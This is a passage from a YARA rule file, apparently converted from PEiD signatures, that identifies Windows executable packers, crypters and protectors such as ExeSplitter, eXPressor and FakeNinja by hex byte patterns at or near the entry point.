+        $a = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00655_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00656_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00657_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+    condition:
+        $a
+}
+
+rule PEiD_00658_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00659_ExeStealth____WebToolMaster_
+{
+    meta:
+        description = "[ExeStealth -> WebToolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00660_EXEStealth_2_75____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.75 -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00661_EXEStealth_2_76_Unregistered____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.76 Unregistered -> WebtoolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+    condition:
+        $a
+}
+
+rule PEiD_00662_ExeTools_COM2EXE_
+{
+    meta:
+        description = "[ExeTools COM2EXE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00663_ExeTools_v2_1_Encruptor_by_DISMEMBER_
+{
+    meta:
+        description = "[ExeTools v2.1 Encruptor by DISMEMBER]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00664_EXE______________Liuli_
+{
+    meta:
+        description = "[convert base64 to ASCII RVhFw47DhMK8w77CusOPwrLCosOGw7cgLT4gTGl1bGk=]"
+        ep_only = "false"
+    strings:
+        $a = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00665_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00666_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00667_eXPressor_1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00668_eXPressor_1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00669_eXPressor_1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00670_eXPressor_1_2_0_Beta_PE_Packer_
+{
+    meta:
+        description = "[eXPressor 1.2.0 Beta PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00671_eXPressor_1_2_0b_
+{
+    meta:
+        description = "[eXPressor 1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00672_eXPressor_1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00673_eXPressor_1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00674_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00675_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00676_eXpressor_v1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.0 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+    condition:
+        $a
+}
+
+rule PEiD_00677_eXPressor_V1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.0 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00678_eXpressor_v1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00679_eXPressor_v1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00680_eXPressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00681_eXpressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00682_eXPressor_v1_2_0b_
+{
+    meta:
+        description = "[eXPressor v1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00683_eXPressor_v1_3____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00684_eXPressor_v1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00685_eXPressor_V1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00686_eXPressor_v1_4____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00687_eXPressor_v1_4____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00688_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00689_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00690_eXPressor_v1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00691_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00692_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00693_eXPressor_V1_4_5_x____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.x -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00694_eXPressor_v1_5_0_1__Options____Light__Full_support__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00695_eXPressor_v1_5_0_1__Options____Protection__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00696_eXPressor_v1_5x____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.5x -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00697_eXPressor_PacK_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.PacK V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00698_eXPressor_Protection_1_5_0_X____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor.Protection 1.5.0.X -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00699_eXPressor_Protection_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.Protection V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+    condition:
+        $a
+}
+
+rule PEiD_00700_EZIP_v1_0_
+{
+    meta:
+        description = "[EZIP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00701_E___________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII RcOTw47CtcOYwrTDuCAtPiDDlMOCwrrDmsK3w6fCuMOf==]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00702_FACRYPT_v1_0_
+{
+    meta:
+        description = "[FACRYPT v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00703_FakeNinja_v2_8__Anti_Debug_____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 (Anti-Debug) -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00704_FakeNinja_v2_8____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+    condition:
+        $a
+}
+
+rule PEiD_00705_FASM_1_5x_
+{
+    meta:
+        description = "[FASM 1.5x]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00706_fds0ft_c0m_pr0tect_v0_4b_
+{
+    meta:
+        description = "[fds0ft c0m pr0tect v0.4b]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00707_fEaRzCrypter_v1_0____fEaRz_
+{
+    meta:
+        description = "[fEaRzCrypter v1.0 -> fEaRz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00708_File_Analyzer_Compiled_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Compiled Datafile Version]"
